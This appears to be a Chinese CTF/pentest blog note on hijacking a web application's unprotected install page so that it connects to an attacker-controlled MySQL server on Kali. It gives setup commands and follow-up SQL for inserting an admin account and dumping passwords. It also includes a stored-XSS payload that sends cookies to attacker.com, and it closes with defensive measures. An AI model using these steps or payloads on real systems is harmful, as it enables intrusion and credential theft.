当前位置: 首页 > news >正文

打靶笔记:利用站点Install功能连接Kali本地数据库

在渗透测试或 CTF 环境中,利用目标系统网站的 Install 功能可能可以进行数据库连接的配置,进而引导目标系统连接到我们控制的数据库(如 Kali 本地的 MySQL)。本文介绍如何通过该思路来实现攻击目标站点,让其将数据库连接到 Kali 服务器上,从而进行数据收集或进一步利用。


一、思路分析

某些 CMS 或 Web 应用的安装程序在首次运行时,会要求用户提供数据库信息,比如:

  • 数据库主机(host)
  • 数据库名称(database)
  • 数据库用户名(user)
  • 数据库密码(password)

如果目标站点的安装流程允许用户自定义数据库信息,并且没有严格的安全校验,我们可以尝试让其连接到我们的 Kali 服务器上的 MySQL 数据库。通过这一方式,我们可以:

  • 控制数据库:目标站点的数据库结构、数据可能会暴露给我们。
  • 获取凭据:如果站点的安装过程涉及创建管理员账号,我们可能获取该账号的哈希密码。
  • 进一步攻击:如果站点连接了我们的数据库,我们可以尝试通过 SQL 语句进行后续攻击,如 RCE(远程代码执行)。

二、环境准备

在 Kali Linux 上,我们需要:

  1. 安装 MySQL 并创建数据库
  2. 创建允许远程访问的数据库用户
  3. 修改 MySQL 配置,允许外部访问
  4. 开启防火墙端口,确保目标主机能够连接到数据库

三、实现步骤

1. 安装 MySQL 并创建数据库

Kali 可能默认没有安装 MySQL(MariaDB),需要手动安装:

sudo apt update
sudo apt install mariadb-server -y

启动 MySQL:

sudo systemctl start mariadb
sudo systemctl enable mariadb

登录 MySQL:

sudo mysql -u root

然后创建一个数据库,例如 hacked_db

CREATE DATABASE hacked_db;

2. 创建远程访问用户并授权

MySQL 默认不允许 root 用户远程登录,因此我们需要创建一个新用户,并授权远程访问:

CREATE USER 'attacker'@'%' IDENTIFIED BY 'StrongPassword123!';
GRANT ALL PRIVILEGES ON hacked_db.* TO 'attacker'@'%';
FLUSH PRIVILEGES;

这里:

  • 'attacker'@'%' 表示允许任意 IP 访问(可以限制为目标 IP)。
  • StrongPassword123! 需要替换为一个强密码(或者用于钓鱼的密码)。

3. 修改 MySQL 配置,允许远程连接

默认情况下,MySQL 只监听 127.0.0.1,需要修改配置以允许外部访问:

sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf

找到以下行:

bind-address = 127.0.0.1

改为:

bind-address = 0.0.0.0

在这里插入图片描述

保存后,重启 MySQL:

sudo systemctl restart mariadb

4. 配置防火墙,开放 3306 端口

如果 Kali 运行了防火墙(iptables 或 ufw),需要开放 MySQL 端口:

sudo ufw allow 3306/tcp
sudo ufw reload

或者使用 iptables

sudo iptables -A INPUT -p tcp --dport 3306 -j ACCEPT

四、攻击目标 Install 站点

现在,Kali 的 MySQL 服务器已经可以被外部访问。我们可以访问目标站点的安装页面(通常是 /install.php/setup.php),然后输入 Kali 服务器的数据库信息:

  • 数据库主机Kali_IP(例如 192.168.1.100
  • 数据库名称hacked_db
  • 用户名attacker
  • 密码StrongPassword123!

在这里插入图片描述

如果目标站点接受了这些参数并成功连接,我们可以:

  1. 查看数据库结构:有些 CMS 会自动创建表结构,我们可以观察其字段,寻找敏感信息。
  2. 拦截敏感数据:如果站点存储了用户凭据,我们可以尝试获取。
  3. 利用 SQL 语句进行后续攻击:例如 LOAD DATA LOCAL INFILE 可能被滥用来读取目标服务器的文件。

五、后续利用

当目标站点连接到我们的数据库后,我们可以尝试:

  1. 添加管理员账户

    INSERT INTO users (username, password, role) VALUES ('admin', MD5('password123'), 'admin');
    

    如果目标 CMS 允许直接登录,我们可以用 admin/password123 进入后台。

  2. 修改配置,获取 RCE
    如果 CMS 允许存储自定义配置,我们可以尝试写入 PHP 代码:

    INSERT INTO settings (key, value) VALUES ('site_footer', '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>');
    
  3. 数据钓鱼
    如果目标站点存储了用户密码,我们可以抓取它们:

    SELECT username, password FROM users;
    

六、防御措施

为了防止此类攻击,管理员应该:

  • 禁用 Install 站点或设置访问权限
  • 限制数据库的外部连接
  • 使用强密码并定期更改
  • 启用 Web 应用防火墙(WAF)
  • 在安装后删除或重命名 /install.php

七、总结

本次实验展示了如何利用目标 Web 站点的 Install 配置,让其连接到 Kali 服务器上的 MySQL,并进一步进行数据收集或利用。这种方法在实际渗透测试中可能用于:

  • 获取数据库信息
  • 劫持 Web 应用
  • 存储 XSS 或 SQL 注入

但同时,防御者也需要意识到这一攻击途径,并采取相应的安全措施。


⚠️ 免责声明

本文仅用于合法的渗透测试和安全研究,切勿用于非法目的,否则后果自负!

相关文章:

  • 传输层协议 — TCP协议与套接字
  • Practical Data Science with SAP Machine Learning Techniques for Enterprise Data
  • KMP-子串匹配算法-关键点理解
  • 蓝桥杯 对联【算法赛】
  • 仙剑奇侠传1隐藏宝箱
  • 【小派项目书】sprintboot + vue 语言实现
  • 单机游戏的工作逻辑
  • Spring IoC DI入门
  • QT-LINUX-Bluetooth蓝牙开发
  • 解释 TypeScript 中的类型保护(type guards),如何使用类型保护进行类型检查?
  • 麦肯锡外运集团企业卓越采购供应链管理体系规划(117页PPT)(文末有下载方式)
  • 阿里云平台Vue项目打包发布
  • 识别并脱敏上传到deepseek/chatgpt的文本文件中的护照信息
  • 晶鑫股份迈向敏捷BI之路,永洪科技助力启程
  • 天梯赛 L2-011 玩转二叉树
  • 使用uniapp的vite版本进行微信小程序开发,在项目中使用mqtt连接、订阅、发布信息
  • 若依(RuoYi)框架新手使用指南
  • Bilve 搭建手册
  • L2TP的LAC拨号模式实验
  • 【SpringBoot】你不能不会的SpringBoot图形验证码生成
  • 以色列媒体:哈马斯愿意释放部分人员换取两个月停火
  • 全国多家健身房女性月卡延长,补足因月经期耽误的健身时间
  • 博物馆日|为一个展奔赴一座城!上海171家博物馆等你来
  • 《制止滥用行政权力排除、限制竞争行为规定(修订草案征求意见稿)》公开征求意见
  • 音乐节困于流量
  • 外交部:国际社会广泛理解和支持中方不同意台参加世卫大会的决定